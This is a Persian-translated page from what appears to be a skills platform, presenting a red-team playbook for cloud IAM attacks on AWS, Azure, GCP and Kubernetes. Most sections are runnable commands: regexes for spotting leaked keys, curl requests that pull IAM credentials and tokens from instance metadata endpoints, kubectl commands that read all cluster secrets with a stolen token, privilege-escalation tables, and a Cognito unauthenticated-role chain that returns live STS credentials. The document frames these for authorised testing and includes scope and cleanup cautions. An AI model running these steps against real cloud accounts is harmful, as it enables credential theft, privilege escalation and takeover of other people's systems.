cloud-iam-deep

skillupstreamپلتفرم سازمانیگزارش: ۶۲۵ کیلوبایت۲۰ بخش

‏زنجیره‌ی حمله‌ی ردتیم Cloud IAM روی AWS، ‏Azure و GCP — با تمرکز بر مسیرهای بهره‌برداری بیرونی و تحلیل privilege بعد-از-کشف-credential. ‏enumerate مربوط به IAM ‏(aws iam، ‏az role، ‏gcloud iam)، الگوهای privesc و زنجیره‌های cross-account را پوشش می‌دهد.

توضیح انگلیسی اصلی (مرجع)

Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

سطح حمله و سیگنال‌ها

When to use
ترجمه‌ی کامل ✓بخش ۱ از ۲۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏تریگر وقتی:

  • ‏یک credential ابری ظاهر شود ‏(کلید، ‏secret، توکن، فایل JSON)
  • ‏زنجیره‌ی SSRF به IMDS / endpoint متادیتا برسد
  • ‏‏APK / نشت-git کلید ابری embedded لو بدهد
  • ‏‏recon مقدار S3/GCS/Azure-blob عمومی با permission قابل‌تأیید را نشان دهد
  • ‏‏API مربوط به Kubernetes یا توکن service-account افشاشده باشد
  • ‏بعد از RCE روی instance میزبان‌شده‌ی ابری — pivot به control plane ابری

‏برای این‌ها استفاده نکن:

  • ‏محیط‌های فقط-on-prem ‏(از اسکیل‌های حمله‌ی AD استفاده کن — ولی آن‌ها طبق مرز فقط-بیرونی خارج‌از-اسکوپ‌اند)
  • ‏آسیب‌پذیری‌های Web2 که اتفاقاً روی AWS هستند — از اسکیل hunt-* مرتبط استفاده کن
۲

بخش تکمیلی

Credential identification (first 60 seconds)
ترجمه‌ی کامل ✓بخش ۲ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode kid claim to see issuer
۳

دروازه‌ی اعتبارسنجی

AWS — read-only validation (the safe first step)
ترجمه‌ی کامل ✓بخش ۳ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
۴

Payload و الگوهای تشخیص

AWS privesc patterns (24+ documented — `iam_privesc` techniques)
ترجمه‌ی کامل ✓بخش ۴ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏مرجع سریع — اگر هرکدام از این اکشن‌های IAM را داری، با تکنیک لیست‌شده ارتقا بده:

داریارتقا از طریق
iam:CreateAccessKeyساخت access key روی هر کاربر ← impersonate
iam:CreateLoginProfileست‌کردن پسورد کنسول روی کاربر ← login
iam:UpdateLoginProfileریست پسورد کنسول روی کاربر
iam:AttachUserPolicyاتصال AdministratorAccess به خودت
iam:AttachGroupPolicyاتصال AdministratorAccess به گروهی که داخلش هستی
iam:AttachRolePolicy + sts:AssumeRoleاتصال به roleای که می‌توانی assume کنی
iam:PutUserPolicy‏inline مربوط به AdministratorAccess به خودت
iam:PutGroupPolicyپالیسی inline روی گروه
iam:PutRolePolicy + iam:PassRole + lambda:CreateFunction/InvokeFunctionاجرای کد به‌عنوان role مربوط به admin
iam:PassRole + cloudformation:CreateStackاستک CF ریسورس‌ها را به‌عنوان admin می‌سازد
iam:PassRole + glue:CreateDevEndpoint‏notebook به‌عنوان role مربوط به admin اجرا می‌شود
iam:PassRole + datapipeline‏pipeline به‌عنوان role مربوط به admin اجرا می‌شود
iam:PassRole + codestar:CreateProjectپروژه‌ی جدید role مربوط به admin می‌گیرد
ec2:RunInstances ‏(با instance profile مربوط به admin که قبلاً روی AMI است)بالاآوردن instance، استخراج cred از IMDS
lambda:UpdateFunctionCode ‏(فانکشن role مربوط به admin دارد)جایگزینی کد ← استخراج cred
lambda:UpdateFunctionConfigurationافزودن layer / env var که استخراج می‌کند
cloudformation:UpdateStackاصلاح استک برای دادن admin به خودت
sts:AssumeRole ‏(جایی که trust اجازه می‌دهد)پرش مستقیم privilege

‏خیلی از موارد مخرب برای ردتیم بیرونی خارج‌از-اسکوپ‌اند؛ مسیر را مستند کن، همیشه اجرا نکن.

۵

زنجیره‌ها و ترکیب‌ها

AWS — STS / cross-account / role chaining
ترجمه‌ی کامل ✓بخش ۵ از ۲۰

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

‏الگوی confused-deputy: به‌دنبال sts:ExternalId مفقود یا trust policyهایی بگرد که arn:aws:iam::*:role/* را اجازه می‌دهند. اگر ExternalId لازم نباشد، هرکسی می‌تواند role را assume کند.

۶

بخش تکمیلی

AWS IMDSv1 / IMDSv2 abuse via SSRF
ترجمه‌ی کامل ✓بخش ۶ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.
۷

دروازه‌ی اعتبارسنجی

Azure — credential validation
ترجمه‌ی کامل ✓بخش ۷ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
۸

بخش تکمیلی

Azure — Managed Identity abuse
ترجمه‌ی کامل ✓بخش ۸ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data
۹

Payload و الگوهای تشخیص

Azure privesc patterns
ترجمه‌ی کامل ✓بخش ۹ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

داریارتقا از طریق
Microsoft.Authorization/roleAssignments/write روی tenantبه‌خودت Owner بده
Microsoft.Authorization/roleDefinitions/writeتعریف role را اصلاح کن تا اختیار اضافه شود
Microsoft.Compute/virtualMachines/runCommand/actionاجرای دستور روی VM ‏(با MI مربوط به VM)
Microsoft.KeyVault/vaults/secrets/getSecret/actionخواندن همه‌ی secretهای KV
Microsoft.Storage/storageAccounts/listkeys/actionخواندن همه‌ی blobهای storage
Microsoft.Web/sites/publishxml/actionگرفتن publish profile ← ‏RCE روی اپ
Microsoft.Web/sites/host/listkeys/actionکلید Func app ← ‏RCE از طریق trigger فانکشن
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directoryبه‌خودت Global Admin بده
۱۰

بخش تکمیلی

GCP — service account JSON
ترجمه‌ی کامل ✓بخش ۱۰ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:<sa-email>"

# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
۱۱

Payload و الگوهای تشخیص

GCP privesc patterns
ترجمه‌ی کامل ✓بخش ۱۱ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

داریارتقا از طریق
iam.serviceAccounts.getAccessToken روی SA با-privilege-بالاترتوکن برای آن SA بگیر
iam.serviceAccounts.implicitDelegationزنجیره از طریق SAهای delegate
iam.serviceAccounts.signBlob / signJwt روی SA بالاتر‏JWT جعلی برای آن SA بساز
iam.serviceAccountKeys.createکلید جدید برای هر SA بساز ← impersonate
iam.serviceAccounts.setIamPolicyبه خودت حق impersonation بده
iam.roles.update ‏(روی custom role)permissionهای admin به roleای که داری اضافه کن
cloudfunctions.functions.update ‏(فانکشن به‌عنوان SA با-privilege-بالا اجرا می‌شود)جایگزینی کد ← استخراج cred
cloudfunctions.functions.call + بالاییتریگرکردن جایگزینی
compute.instances.setMetadataافزودن متادیتای ssh-keys ← ‏SSH به‌عنوان root
compute.instances.setServiceAccountاتصال SA با-privilege-بالاتر به instance
cloudbuild.builds.create ‏(build به‌عنوان SA پروژه اجرا می‌شود)‏build کد مهاجم را اجرا می‌کند
deploymentmanager.deployments.createریسورس‌ها به‌عنوان SA مربوط به DM ساخته می‌شوند
۱۲

بخش تکمیلی

GCP IMDS attack (via SSRF or post-RCE)
ترجمه‌ی کامل ✓بخش ۱۲ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"
۱۳

بخش تکمیلی

Kubernetes — exposed API / SA token
ترجمه‌ی کامل ✓بخش ۱۳ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"

# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"

# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
الگوهای privesc مربوط به K8s
داریارتقا از طریق
pods/exec روی pod با-privilege-بالا‏exec به pod با توکن SA مربوط به admin
pods/create + serviceaccounts/useساخت pod که توکن SA مربوط به admin را mount می‌کند
secrets/getخواندن هر توکن service-account در cluster
clusterrolebindings/createبه خودت cluster-admin بده
roles/escalate یا clusterroles/escalatepermission به role اضافه کن
nodes/proxy‏proxy به kubelet روی هر node ← ‏exec از طریق kubelet
فعل bind روی roleها‏roleای که نداری را به subject ببند
impersonate روی userها/groupها/SAهابه‌عنوان principal دیگر عمل کن
۱۴

ابزار و نکات عملیاتی

Tooling reference
ترجمه‌ی کامل ✓بخش ۱۴ از ۲۰

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

ابزارابرکاربرد
‏Pacu‏AWSفریم‌ورک کامل ردتیم، ۱۰۰+ ماژول
‏enumerate-iam.py‏AWSبروت‌فورس لیست کال‌های API برای کشف permissionها
‏PMapper‏AWSنمایش مسیرهای privesc به‌صورت گراف
‏CloudFox‏AWSتمرکز recon ‏(enumerate مربوط به ریسورس‌ها، بدون privesc)
‏Prowler‏AWS/Azure/GCPاسکن compliance + enumerate
‏ScoutSuite‏AWS/Azure/GCP/OCIممیزی چند-ابری
‏AzureHound‏Azureگراف سبک-BloodHound برای Azure
‏MicroBurst‏Azureماژول‌های recon و سوءاستفاده مخصوص Azure
‏ROADtools‏Azureجعبه‌ابزار enumerate مربوط به Entra ID
‏GCPBucketBrute‏GCP‏enumerate مربوط به permission باکت GCS
‏gcpwn‏GCPفریم‌ورک بهره‌برداری مخصوص GCP
‏Peirates‏K8sجعبه‌ابزار بهره‌برداری کانتینر/کلاستر
‏kube-hunter‏K8sاسکن خودکار cluster از داخل/خارج
‏kubectl-trace‏K8s‏trace مربوط به پروسس‌ها ‏(بعد-از-foothold)
۱۵

Payload و الگوهای تشخیص

Anti-patterns
ترجمه‌ی کامل ✓بخش ۱۵ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  • ‏عملیات write/delete را بدون OK صریح اجرا نکن — جهش IAM مخرب و قابل‌ممیزی است
  • ‏همه‌چیز را در اسکوپ یک اکانت enumerate نکن — ‏aws iam list-users روی اکانتی با ۵۰هزار کاربر پرنویز و کند است
  • ‏‏aws * را با cred غیر-تستی بدون تأیید درست‌بودن اکانت استفاده نکن — زدن تصادفی به prod = ریسک شغلی
  • ‏‏«credential را دارم» را با «این credential جاری است» اشتباه نگیر — همیشه انقضا / rotation را اول از طریق STS چک کن
  • ‏فرض نکن توکن STS یک اکانت در اکانت‌های دیگر کار می‌کند — محدودیت region و trust policy اعمال می‌شود
  • ‏آگاهی CloudTrail/Activity Log را جا نینداز — هر کال API لاگ می‌شود؛ با mid-engagement-ir-detection جفت کن
  • ‏عمیق‌تر از چیزی که SOW اجازه می‌دهد pivot نکن — کشف credهای admin به معنی استفاده از آن‌ها نیست؛ بعضی engagementها فقط-خواندنی‌اند
اسکیل‌های مرتبط:
۱۶

دروازه‌ی اعتبارسنجی

Bridge to neighboring skills
ترجمه‌ی کامل ✓بخش ۱۶ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل hunt-cloud-misconfig — credentialها را در وهله‌ی اول پیدا می‌کند ‏(باکت‌های عمومی، ‏IMDS از طریق SSRF، ‏JSON لویافتاده)
  • ‏اسکیل hunt-ssrf — ‏SSRF←‏IMDS زنجیره‌ی کانونیک به control plane ابری است
  • ‏اسکیل apk-redteam-pipeline — استخراج secret از APK به‌روال credهای ابری می‌دهد
  • ‏اسکیل supply-chain-attack-recon — پایپ‌لاین‌های CI/CD credهای ابری را ذخیره می‌کنند؛ پیداکردنشان گردش‌کار جداست
  • ‏اسکیل m365-entra-attack — محصول-متقاطع Azure؛ توکن‌های Managed Identity به Graph می‌رسند
  • ‏اسکیل mid-engagement-ir-detection — فعالیت control plane ابری مانیتور می‌شود؛ تخفیف‌ها را انتظار داشته باش
مراحل استخراج‌شده
  1. ۱‏اسکیل `hunt-cloud-misconfig` — credentialها را در وهله‌ی اول پیدا می‌کند ‏(باکت‌های عمومی، ‏IMDS از طریق SSRF، ‏JSON لویافتاده)
  2. ۲‏اسکیل `hunt-ssrf` — ‏SSRF←‏IMDS زنجیره‌ی کانونیک به control plane ابری است
  3. ۳‏اسکیل `apk-redteam-pipeline` — استخراج secret از APK به‌روال credهای ابری می‌دهد
  4. ۴‏اسکیل `supply-chain-attack-recon` — پایپ‌لاین‌های CI/CD credهای ابری را ذخیره می‌کنند؛ پیداکردنشان گردش‌کار جداست
  5. ۵‏اسکیل `m365-entra-attack` — محصول-متقاطع Azure؛ توکن‌های Managed Identity به Graph می‌رسند
  6. ۶‏اسکیل `mid-engagement-ir-detection` — فعالیت control plane ابری مانیتور می‌شود؛ تخفیف‌ها را انتظار داشته باش
۱۷

بخش تکمیلی

Severity scoring guidance
ترجمه‌ی کامل ✓بخش ۱۷ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

یافتهشدت
‏کلید دسترسی AWS با *:* در پالیسی ← admin تأییدشدهبحرانی
‏‏JSON مربوط به SA مربوط به GCP با roles/owner روی پروژه‌ی productionبحرانی
‏‏MI مربوط به Azure روی VM اینترنت-افشاشده با نقش Ownerبحرانی
‏cred لویافتاده با فقط-خواندن روی دیتاستور prodبالا ‏(یا بحرانی بسته به حساسیت داده)
‏cred لویافتاده با مسیر privesc ولی هنوز admin نشدهبالا
‏cred لویافتاده — فقط دسترسی خواندن به غیرحساسمتوسط
‏باکت عمومی ناشناس — فقط listingپایین/متوسط
‏باکت ناشناس — permission مربوط به writeبالا
۱۸

بخش تکمیلی

Cleanup discipline (deliverable hygiene)
ترجمه‌ی کامل ✓بخش ۱۸ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏اگر حین engagement:

  • ‏از sts:AssumeRole برای زنجیره استفاده کردی — نام roleها و زمان‌ها را در IoCها بنویس
  • ‏هر ریسورس IAM ساختی ‏(کاربر تست، ‏roleها، پالیسی‌ها) — با تأیید پاک‌سازی صریح لیستشان کن
  • ‏داده‌ی حساس خواندی ‏(Secrets Manager، کلیدهای KMS، محتوای blob مربوط به Storage) — در deliverable بنویس که داده دیده شد ولی بیرون از سیستم‌های engagement استخراج نشد

‏فعالیت ابری به‌سادگی قابل‌ممیزی است؛ کلاینت بعد از engagement پیدایش می‌کند. مستندکردن الان > غافلگیرشدن بعداً.

۱۹

زنجیره‌ها و ترکیب‌ها

AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)
ترجمه‌ی کامل ✓بخش ۱۹ از ۲۰

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏خدمت AWS Cognito دو سرویس متمایز دارد که اغلب با هم اشتباه می‌شوند: User Pools ‏(provider مربوط به auth) و Identity Pools ‏(هویت federated ← credentialهای IAM). ‏Identity Poolها را می‌توان با "Enable access to unauthenticated identities" کانفیگ کرد — که به هر کالر ناشناس از طریق cognito-identity:GetId ← cognito-identity:GetCredentialsForIdentity یک role مربوط به IAM می‌دهد. اپ‌های موبایل و SPAها مقدار IdentityPoolId را در باندل صفحه عرضه می‌کنند. دولوپرها به‌روال permissionهای IAM بیش‌ازحد-وسیع به role مربوط به unauth متصل می‌کنند، مخصوصاً وقتی pool برای AWS Amplify / Pinpoint / CloudWatch RUM ساخته شده و پالیسی role هرگز باریک نشده.

گام ۱ — کشف IdentityPoolId

‏مقدار IdentityPoolId طبق طراحی AWS یک شناسه‌ی عمومی است ‏(فرمت <region>:<UUID>). محل پیدایش:

# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .

# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/

# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map

‏کپچرهای Wayback CDX، جست‌وجوی کد GitHub برای دامین apex + IdentityPoolId و chunkهای JS لینک‌شده از index.html کورپوس‌های جست‌وجوی پرمحصول‌اند.

گام ۲ — ‏`GetId` ‏(unauth)
aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request

‏فلگ --no-sign-request حیاتی است — به CLI می‌گوید به‌دنبال credentialهای محیطی AWS نگردد. مقدار {"IdentityId": "us-east-1:<uuid>"} برمی‌گرداند. اگر NotAuthorizedException برگرداند، هویت‌های unauth غیرفعال‌اند — توقف کن، قابل‌بهره‌برداری نیست.

گام ۳ — ‏`GetCredentialsForIdentity`
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request

‏credentialهای واقعی STS با ‏TTL حدود ۱ ساعت برمی‌گرداند: AccessKeyId ‏(ASIA…)، SecretKey، SessionToken، Expiration.

گام ۴ — تأیید ARN مربوط به role
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

‏مقدار role ARN مثل arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials برمی‌گرداند. ‏Account ID حالا افشا شده.

گام ۵ — ‏enumerate مربوط به permissionهای role

‏مستقیم ‏(نادر):

aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role

‏روش blackbox ‏(کیس عادی) — یک پروب permission روی سرویس‌های پرارزش بزن و AccessDenied را در برابر موفقیت ببین. ماژول iam__enum_permissions --role-name <name> مربوط به Pacu ~۵۰۰ اکشن IAM را بروت‌فورس می‌کند؛ ‏enumerate-iam.py نوشته‌ی Andrés Riancho ~۱۰۰۰ تا را پوشش می‌دهد. permissionهای بیش‌ازحد رایج: s3:Get*/s3:List*، dynamodb:Scan، lambda:InvokeFunction، appsync:GraphQL، cognito-idp:AdminCreateUser، iam:PassRole، kms:Decrypt.

معیار شدت
یافتهشدتتوجیه
‏نقش unauth با *:* یا AdministratorAccessبحرانی ‏(۹.۸+)تصرف کامل اکانت AWS
‏نقش unauth با s3:Get* / s3:List* روی باکت‌های مشتری production، یا dynamodb:Scan روی جدول‌های کاربربحرانی ‏(۹.۱–۹.۸)‏PII انبوه / نشت داده
‏نقش unauth با appsync:GraphQL روی API مربوط به production، یا lambda:InvokeFunction روی lambdaهای داخلیبحرانی ‏(۹.۰)دسترسی backend احرازشده
‏نقش unauth با cognito-idp:Admin* روی User Pool لینک‌شدهبحرانی ‏(۹.۱)‏primitive مربوط به ATO انبوه
‏نقش unauth با iam:PassRole + create-functionبحرانی ‏(۹.۸)‏priv-esc مستند به admin
‏نقش unauth با s3:PutObject روی باکت web-hostingبالا ‏(۸.۱)‏XSS ذخیره‌شده / supply-chain
‏نقش unauth با kms:Decrypt روی CMK مشتریبالا ‏(۷.۵–۸.۵)بسته به قابل‌دسترس‌بودن ciphertext
‏نقش unauth با فقط-خواندن روی یک ریسورس غیرحساس هاردکدمتوسط ‏(۵.۳)اثر کسب‌وکاری محدود
‏هویت‌های unauth فعال ولی پالیسی role همه‌چیز را deny می‌کنداطلاعاتیفقط انحراف best-practice
کیس‌های افشاشده / نوشته‌های معتبر
  1. ‏Andres Riancho — «Misconfigured Cognito Identity Pools» ‏(۲۰۲۰، به‌روزشده ۲۰۲۳) — تحقیق اصلی که کلاس حمله را بنا کرد. ‏GetCredentialsForIdentity علیه poolهای unauth با پالیسی‌های پیش‌فرض *. ‏andresriancho.com
  2. ‏Rhino Security Labs — ماژول cognito__enum_identity_pools مربوط به Pacu — ابزار production که گام‌های ۱–۵ زنجیره را خودکار می‌کند. ‏github.com/RhinoSecurityLabs/pacu
  3. ‏NotSoSecure / Claranet — «Exploiting weak configurations in Amazon Cognito» ‏(نوامبر ۲۰۲۳) — walkthrough استخراج identityPoolId ← فرض‌کردن نقش guest ← ‏enumerate مربوط به S3/DynamoDB/Lambda. ‏RUM، ‏Amplify و Pinpoint را سه SDKای می‌خواند که به‌روال pool ID را در HTML افشا می‌کنند. ‏notsosecure.com
  4. ‏HackTricks Cloud — aws-cognito-unauthenticated-enum — playbook کانونیک که گام‌های ۱–۵ را پوشش می‌دهد. ‏cloud.hacktricks.wiki
  5. ‏Spaceraccoon / Eugene Lim — «Mass Account Takeover via Cognito IdentityPool» ‏(Medium، ۲۰۲۰) — provider مربوط به SaaS مقدار IdentityPoolId را در کانفیگ Amplify افشا کرد؛ نقش unauth مقدار cognito-idp:AdminConfirmSignUp + AdminUpdateUserAttributes روی User Pool لینک‌شده داشت — تأیید خاموش هر signup + تغییر ایمیل = ‏ATO انبوه.
  6. ‏Datadog Security Labs — «Following AWS Logs Backwards: Cognito Identity Pool Abuse» ‏(۲۰۲۴) — تله‌متری روی پایه‌ی مشتری Datadog که سوءاستفاده‌ی واقعی pool مربوط به Cognito را نشان می‌دهد. درصد قابل‌توجهی از poolها با پالیسی‌های وسیع‌تر از حداقل لازم جفت شده‌اند. ‏securitylabs.datadoghq.com
نکته‌ی گزارش‌دهی

‏همیشه در گزارش بگنجان:

  • ‏خروجی sts get-caller-identity ‏(‏ARN مربوط به role + شناسه‌ی اکانت را اثبات می‌کند)
  • ‏خروجی JSON مربوط به iam__enum_permissions مربوط به Pacu ‏(اکشن‌های داده‌شده را اثبات می‌کند)
  • ‏یک PoC کشش-داده‌ی عینی ‏(یک نمونه listing آبجکت S3، یک رکورد DynamoDB با PII ماسک‌شده)

‏بدون هر سه‌تایش، تریجرها به متوسط downgrade می‌کنند. تست ۶۰ثانیه‌ای: GetId ← GetCredentialsForIdentity ← sts get-caller-identity. اگر ناشناس به گام ۳ رسیدی، یک یافته داری.

‏ارجاع متقابل: hunt-cloud-misconfig ← بخش CloudWatch RUM weaponization واریانت RUM-embedded این کلاس حمله را پوشش می‌دهد.

اسکیل‌های مرتبط:
۲۰

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۲۰ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

